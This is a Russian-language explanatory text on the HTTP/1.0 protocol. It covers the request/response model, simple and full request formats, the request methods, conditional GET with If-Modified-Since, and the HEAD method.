HTTP основывается на парадигме запросов/ответов. Запрашивающая программа (обычно она называется клиент) устанавливает связь с обслуживающей программой-получателем (обычно называется сервер) и посылает запрос серверу в следующей форме: метод запроса, URI(Universal Resource Identifier - URI), версия протокола, за которой следует MIME-подобное сообщение (Multipurpose Internet Mail Extensions (MIME-Многоцелевое Расширение Почты Internet), содержащее управляющую информацию запроса, информацию о клиенте и, может быть, тело сообщения. Сервер отвечает сообщением, содержащем строку статуса (включая версию протокола и код статуса - успех или ошибка), за которой следует MIME-подобное сообщение, включающее в себя информацию о сервере, метаинформацию о содержании ответа, и, вероятно, само тело ответа. Следует отметить, что одна программа может быть одновременно и клиентом и сервером. Использование этих терминов в данном тексте относится только к роли, выполняемой программой в течение данного конкретного сеанса связи, а не к общим функциям программы.

Для большинства приложений сеанс связи открывается клиентом для каждого запроса и закрывается сервером после окончания ответа на запрос.

HTTP-запрос

Запрос это сообщение, посылаемое клиентом серверу. Первая строка называется строка статуса. Для совместимости с протоколом HTTP/0.9, существует два формата HTTP запроса: (Простой-Запрос | Полный-Запрос )

Простой-Запрос = Метод SP Запрашиваемый-URI CRLF Полный-Запрос = Метод SP URI-Запроса SP Версия-HTTP CRLF

*(Общий-Заголовок | Заголовок-Запроса | Заголовок-Содержания ) CRLF [ Содержание-Запроса ]

(SP-продел, CRLF – перевод строки, возврат каретки, расстановка символов CRLF и SP критична)

Если HTTP/1.0 сервер получает Простой-Запрос, он должен отвечать Простым-Ответом HTTP/0.9. HTTP/1.0 клиент, способный обрабатывать Полный-Ответ, никогда не должен посылать Простой-Запрос.

Метод

В поле Метод указывается метод, который должен быть применен к ресурсу, идентифицируемому URI-Запроса. Названия методов чувствительны к регистру. Существующий список методов может быть расширен.

Метод = "OPTIONS" | "GET" | "HEAD" | "PUT" | "POST" | "DELETE" | "LINK" | "UNLINK" | дополнительный-метод Если данный метод известен серверу, но не допускается для указанного ресурса, сервер должен вернуть код

статуса "405 Method Not Allowed", и код статуса "501 Not Implemented", если метод не известен или не поддерживается данным сервером.

Методы:

OPTIONS - метод позволяет клиенту определять опции и/или требования, связанные с ресурсом, или возможностями сервера.

GET -метод служит для получения любой информации, идентифицированной URI-Запроса. Если URIЗапроса ссылается на процесс, выдающий данные, в качестве ответа будут выступать данные, сгенерированные данным процессом.

Метод GET изменяется на "условный GET", если сообщение запроса включает в себя поле заголовка "If- Modified-Since". В ответ на условный GET, тело запрашиваемого ресурса передается только, если он изменялся после даты, указанной в заголовке "If-Modified-Since". Алгоритм определения этого включает в себя следующие случаи:

Если код статуса ответа на запрос будет отличаться от "200 OK", или дата, указанная в поле заголовка "If- Modified-Since" некорректна, ответ будет идентичен ответу на обычный запрос GET.

Если после указанной даты ресурс изменялся, ответ будет также идентичен ответу на обычный запрос GET. Если ресурс не изменялся после указанной даты, сервер вернет код статуса "304 Not Modified".

Использование метода условный GET направлено на разгрузку сети, так как он позволяет не передавать по сети избыточную информацию.

HEAD - аналогичен методу GET, за исключением того, что в ответе сервер не возвращает ТелоОтвета. Данный метод может использоваться для получения метаинформации о ресурсе без передачи по сети самого ресурса.